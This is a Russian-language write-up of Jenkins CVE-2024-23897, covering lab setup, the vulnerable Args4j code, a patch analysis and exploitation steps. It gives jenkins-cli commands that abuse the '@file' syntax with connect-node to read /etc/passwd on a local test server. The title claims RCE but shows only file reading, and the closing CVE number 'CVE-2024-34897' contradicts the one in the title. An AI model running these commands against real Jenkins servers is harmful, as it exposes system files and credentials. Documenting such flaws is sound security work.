
[CVE-2024-23897] Jenkins CI Аутентифицированное произвольное чтение файлов через CLI приводит к удаленному выполнению кода (RCE)
Jenkins — это самодостаточное программное обеспечение DevOps с открытым исходным кодом для автоматизации непрерывной интеграции, непрерывной доставки и развёртывания (CI/CD), написанное на языке программирования Java. Оно используется для реализации CI/CD-рабочих процессов, называемых пайплайнами.
Jenkins имеет встроенный интерфейс командной строки (CLI) для доступа к Jenkins из скрипта или среды оболочки. Jenkins использует библиотеку Args4j для разбора аргументов команд и опций на контроллере Jenkins при обработке CLI-команд. Этот парсер команд имеет функцию, которая заменяет символ @, за которым следует путь к файлу в аргументе, на содержимое файла (expandAtFiles). Эта функция включена по умолчанию, и Jenkins 2.441 и более ранние версии, LTS 2.426.2 и более ранние версии не отключают её.
Это позволяет злоумышленникам читать произвольные файлы в файловой системе контроллера Jenkins, используя кодировку символов по умолчанию процесса контроллера Jenkins.
Настройка окружения
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

Уязвимый код
Следует отметить, что эта уязвимость была обнаружена исследовательской группой по уязвимостям SonarSource, и этот раздел скопирован из технической статьи SonarSource.
Уязвимый код можно найти в библиотеке Args4j,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
Метод expandAtFiles в классе CmdLineParser.java по сути заменяет символ @, за которым следует путь к файлу в аргументе, на содержимое файла: проверяет, начинается ли аргумент с символа @, и если да, то читает файл по пути после @ и разворачивает новый аргумент для каждой строки. Это означает, что если злоумышленник может контролировать аргумент, он может развернуть его в произвольное количество аргументов из произвольного файла на экземпляре Jenkins.
Один из способов использования этого злоумышленником — найти команду, которая принимает произвольное количество аргументов и отображает их пользователю. Поскольку аргументы заполняются содержимым файла, злоумышленник может таким образом раскрыть содержимое файла. Для этой цели команда connect-node в hudson/cli является хорошим кандидатом: она принимает список строк в качестве аргумента и пытается подключиться к каждому из них. Если это не удаётся, генерируется сообщение об ошибке с именем узла, к которому не удалось подключиться.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
Эта команда connect-node обычно требует разрешения CONNECT, которое проверяется в функции cliConnect. Но поскольку исключение выбрасывается до проверки разрешения в функции resolveForCLI, команда на самом деле не требует никаких авторизаций, кроме начальной проверки только на чтение.
Шаги эксплуатации
Обычно @ в Jenkins-cli используется для указания файла, содержащего токен носителя или имя_пользователя:пароль из файла.
Использование аутентифицированной команды с Jenkins-cli даёт следующий вывод:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

Использование функции символа @ для указания файла credentials.txt в переключателе -auth даёт следующее:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

Анализ патча
Команда безопасности Jenkins устранила CVE-2024-23897, внедрив безопасную конфигурацию, которая отключает функцию expandAtFiles. Патч включает добавление проверки происхождения к конечной точке WebSocket для CVE-2024-23898, что предотвращает несанкционированный доступ.
Соответствующий коммит: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: Эта переменная является boolean, указывающим, разрешён ли синтаксис '@'. Она считывается из свойств системы.ParserProperties: Этот класс предоставляет свойства для настройки CmdLineParser.withAtSyntax(ALLOW_AT_SYNTAX): Устанавливает свойство 'allowAtSyntax' в ParserProperties на основе значения ALLOW_AT_SYNTAX.new CmdLineParser(this, properties): Создаёт новый экземпляр CmdLineParser, передавая текущий объект (this) и настроенные ParserProperties.Дополнительная информация об уязвимости CVE-2024-34897 и благодарности: